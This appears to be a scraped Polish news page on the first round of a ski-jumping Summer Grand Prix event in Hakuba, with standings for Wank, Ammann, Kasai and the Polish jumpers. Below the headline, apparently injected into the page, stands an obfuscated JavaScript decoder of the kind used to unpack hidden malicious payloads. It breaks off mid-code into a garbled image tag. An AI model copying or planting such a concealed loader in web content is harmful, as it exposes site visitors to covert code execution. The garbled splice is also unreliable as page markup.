You are currently viewing LGP HAKUBA: WANK PROWADZI PO PIERWSZEJ SERII, 3 POLAKÓW W TRZYDZIESTCE

LGP HAKUBA: WANK PROWADZI PO PIERWSZEJ SERII, 3 POLAKÓW W TRZYDZIESTCE

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0andreas%20sp.jpg” title=”Andreas Wank, fot. SkokiPolska” style=”margin: 10px; border: 2px solid #000000; float: left;” height=”167″ width=”250″ />

Niemiec odskoczył od konkurentów w pierwszej serii konkursowej. Jako jedyny przekroczył 130 metrów i o 8,1 punktu wyprzedza kolejnego Simona Ammana ( 126,5 m). Trzecie miejsce zajmuje najlepszy z Japończyków , 40-letni Noriaki Kasai (124,5m), który prowadził przez większość konkursu, dopóki skoków nie oddali skaczący jako ostatni Amman i Wank.

Japończyk nie może być pewien swojej pozycji, tuż za czołową trójka z niewielką stratą czają się Jurij Tepes, Michael Neumayer czy Gregor Deschwanden, który uzyskał drugą odległość pierwszej serii (127 m). Skakał jednak przy silniejszym wietrze z przodu. Za Szwajcarem plasuje się najlepszy z naszych: Bartłomiej Kłusek (7 miejsce, 120,5m). Dawid Kubacki uzyskał taką samą odległość, ale jest dopiero 13. 10 skoczków (od Kasaiego do Kubackiego ) dzieli jedynie 7 punktów!

Do drugiej serii z biało-czerwonych zakwalifikował się jeszcze Krzysztof Miętus (27 miejsce, 115 m). Odpadli Krzysztof Biegun i Aleksander Zniszczoł.

W drugiej serii wystąpi aż ośmiu Japończyków. Skoczkowie z kraju Kwitnącej Wiśni udowadniają świetną formę tego lata. 

Pełne wyniki pierwszej serii

Dodaj komentarz